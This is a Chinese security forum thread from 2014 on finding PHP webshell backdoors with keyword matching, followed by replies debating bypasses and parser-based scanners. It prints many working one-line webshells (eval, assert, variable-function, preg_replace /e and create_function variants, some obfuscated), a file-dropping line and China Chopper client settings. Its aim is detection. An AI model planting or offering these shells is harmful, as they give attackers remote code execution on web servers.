如何查找php木马后门高级篇
jusker (爱好后门后门分析) | 2014-05-17 11:54
<?php eval($_POST[xiao])?> # 在正常的编程中eval不常见,可通过字符串匹配查找eval
常见的是变成
base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz4=) #同样匹配这个base64_decode,找到文件之后查看文件内容
这种形式可以绕过,另外还有其他形式
<?php $_GET['eval']($_POST['xiao']);?>#同样这断你可以如果一个文件中出现eval,或者文件中同时出现$_GET $_POST则输出文
件位置
if(key($_GET)=='singyea')call_user_func($_GET['singyea'],$_POST['singyea']);
<?php $_GET['a']($_POST['b']);?> #这几种就比较猥琐
test.php?a=assert
密码b
<?php assert($_POST[s]);?>#直接匹配assert
<?php $_POST['iso']($_POST['cmd']);?>#匹配文件中同时拥有两个POST的直接输出文件位置
密码cmd 菜刀配置信息填:<O>iso=assert</O
preg_replace("/[pageerror]/e",$_POST['error'],"saft"); #这种就是同时一个文件里有preg_replace 跟POST直接输出文件位置然后手工查找
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); 与上面一样的匹配方式
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?
$s = create_function('', $_REQUEST['c']);
$s();
// s.php?c=eval%28$_REQUEST[cmd]%29;&cmd=echo%201;
?>
<?php file_put_contents(base64_decode(文件名), base64_decode(小马base64));?>
对于webshell的一句话查杀只需要找到以上基本就可以解决
然后对于大马来说有fread,fwrite,mkdir,system,eval,basename一些函数,可查php filesystem函数,如果有这个函数匹配是否存可以代码
最后一个就是查找fsocket跟socket函数
这个是用来查打流量的函数ddos之类
相关内容:
《Code Injection》 - PHP Eval 代码注入执行
相关讨论:
1#
冷冷的夜 (预备唱:希望你过的没我好,死得比我早,吃不好也睡不) | 2014-05-17 12:00
http://zone.wooyun.org/content/2975 php太灵活了,这种文本匹配关键词很容易被Bypass,像什么大眼小眼的系统都是匹配数据包的特征字符
2#
jusker (爱好后门后门分析) | 2014-05-17 12:02
@冷冷的夜 可以如果出现慢慢看还有终极篇,这一篇就是如果出现'e'.'v'.'a'.'l'只需要用str_replace替换然后匹配就可以,接下来请看终极篇
3#
jusker (爱好后门后门分析) | 2014-05-17 12:05
@冷冷的夜 我的最新想法就是借用php环境输出$变量的值,然后通过匹配输出值,来判断是不是木马
4#
erevus (我的乌云币都在小号上,小号不是绑定我QQ,别盗我号) | 2014-05-17 14:50
$function($_POST['123']);
5#
YwiSax | 2014-05-17 17:01
基于语法来分析后门才靠谱点吧。参考http://www.cnxct.com/pecker-scanner/
6#
jusker (爱好后门后门分析) | 2014-05-17 18:42
@erevus 你这个用正则就能匹配
7#
jusker (爱好后门后门分析) | 2014-05-17 18:44
@YwiSax 恩看看
8#
/fd (madafaka #swag #yolo) | 2014-05-17 18:45
@jusker 你肯定?
9#
jusker (爱好后门后门分析) | 2014-05-17 18:46
@/fd yes
10#
jusker (爱好后门后门分析) | 2014-05-17 18:47
@YwiSax 详情请看终极篇
11#
jusker (爱好后门后门分析) | 2014-05-17 18:49
@YwiSax 你看看他参考http://www.cnxct.com/pecker-scanner/ 也是匹配eval、、、、、、都是一样的方法。。我的不同点就是终极篇,看看这个思想
12#
LaiX ([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+) | 2014-05-17 18:57
杂乱无章
13#
YwiSax | 2014-05-17 21:47
@jusker 不是呢。Pecker主要是用token_get_all来解析php的语法,然后对其分析。跟你说的文本匹配有区别的。建议你先下载作者的源码还有阅读下Pecker/Lexer.php。
14#
jusker (爱好后门后门分析) | 2014-05-17 23:25
@YwiSax 我的终极篇,思路就是$符号来匹配的
15#
jusker (爱好后门后门分析) | 2014-05-17 23:25
@YwiSax 好,马上看
16#
核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2014-05-19 09:15
php太灵活了,这种文本匹配关键词很容易被Bypass +1
17#
RedFree (?1:1 1-1-1112 |※(器杀制自) | 2014-05-19 10:31
小马杀不尽,春风吹又生。高级些的PHP木马非人工检查不能杀之也……
18#
jusker (爱好后门后门分析) | 2014-05-19 17:36
@核攻击 借用php环境说出$变量的值、、、最近在考虑这个思想
留言评论(旧系统):